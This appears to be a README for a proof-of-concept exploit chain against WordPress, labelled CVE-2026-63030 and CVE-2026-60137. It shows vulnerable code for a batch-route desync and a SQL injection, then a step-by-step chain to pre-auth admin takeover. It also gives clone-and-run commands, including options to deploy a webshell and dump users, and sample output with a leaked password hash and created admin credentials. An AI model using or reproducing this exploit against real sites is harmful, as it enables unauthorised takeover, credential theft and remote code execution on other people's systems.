CVE-2026-63030

// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SKIPS $matches[] — Desync um einen Index
}

// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // NUR wenn Array
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // skalarer Wert wird roh übergeben
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL-INJECTION
}

[1] Batch-Desync → Auth + Parameterprüfungen umgehen
[2] UNION SELECT → 7 gefälschte WP_Post-Objekte im Cache erzeugen
    ├─ Trigger-Post     — [embed] Shortcode
    ├─ Changeset-Post   — post_type=customize_changeset, post_status=future
    ├─ Äußerer Partner  — post_parent=changeset (Schleife 1)
    ├─ oEmbed-Ziel      — Cache-Backing
    ├─ Nav-Menü-Element — post_type=nav_menu_item
    ├─ Request-Post     — post_type=request, post_status=parse (Schleife 2)
    └─ Innerer Partner  — post_parent=request
[3] oEmbed-Verarbeitung → wp_update_post() → Hierarchie-Zykluserkennung
[4] Schleife 1 behoben → schreibt changeset in die DB, ohne post_content zu überschreiben
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Schleife 2 behoben → schreibt request-Post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → Batch als ADMIN wiederholt
[8] POST /wp/v2/users → Administrator erstellt

git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # oder: nichts — nur stdlib

# Vollständige Kette — Admin-Konto erstellen (Pre-Auth)
python3 cve_2026_63030.py --url https://target.com

# Nur Prüfung (nicht destruktiv — Verwundbarkeit bestätigen)
python3 cve_2026_63030.py --url https://target.com --check

# Vollständige Kette + RCE-Webshell bereitstellen
python3 cve_2026_63030.py --url https://target.com --rce id

# Alle Benutzer per UNION-Extraktion auslesen
python3 cve_2026_63030.py --url https://target.com --dump-users

+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Ziel   :  https://target.com
  Modus  :  VOLLSTÄNDIGE KETTE

[SCHRITT 1] Überprüfen des Batch-Endpunkts + Route-Confusion-Desync
  [+] Batch-Endpunkt erreichbar (HTTP 207)
  [+] Desync bestätigt (Marker: parse_path_failed, rest_batch_not_allowed)

[SCHRITT 2] UNION SQLi — Datenbankerkundung
  [+] Datenbankversion  : 8.0.46
  [+] Datenbankbenutzer : wp_user@localhost
  [+] Datenbankname     : wordpress_db
  [+] Tabellenpräfix    : wp_
  [+] Admin-Login       : admin
  [+] Admin-Hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin-Benutzer-ID : 1

[SCHRITT 3] Neuen Administrator via oEmbed-Post-Cache-Vergiftung erstellen
  [*] oEmbed-Cache mit 3 Loopback-URLs füllen...
  [+] oEmbed-Cache-IDs: [6, 7, 8]
  [*] Changeset-Vergiftung + Benutzererstellung einreichen...
  [+] Admin erstellt -- Benutzername: wp2_a1b2c3d4  Passwort: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOIT ABGESCHLOSSEN                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php